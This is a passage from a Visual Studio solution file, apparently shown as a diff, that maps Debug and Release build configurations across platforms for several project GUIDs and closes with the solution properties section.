{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.ActiveCfg = Release|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.Build.0 = Release|x86 + {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Any CPU.ActiveCfg = Debug|x86 {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Mixed Platforms.Build.0 = Debug|x86 + {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Any CPU.ActiveCfg = Release|x86 {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Mixed Platforms.ActiveCfg = Release|x86 {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Mixed Platforms.Build.0 = Release|x86 + {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Any CPU.Build.0 = Debug|Any CPU {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU + {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Any CPU.Build.0 = Release|Any CPU {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Any CPU.Build.0 = Debug|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Any CPU.Build.0 = Release|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Any CPU.Build.0 = Release|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Mixed Platforms.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE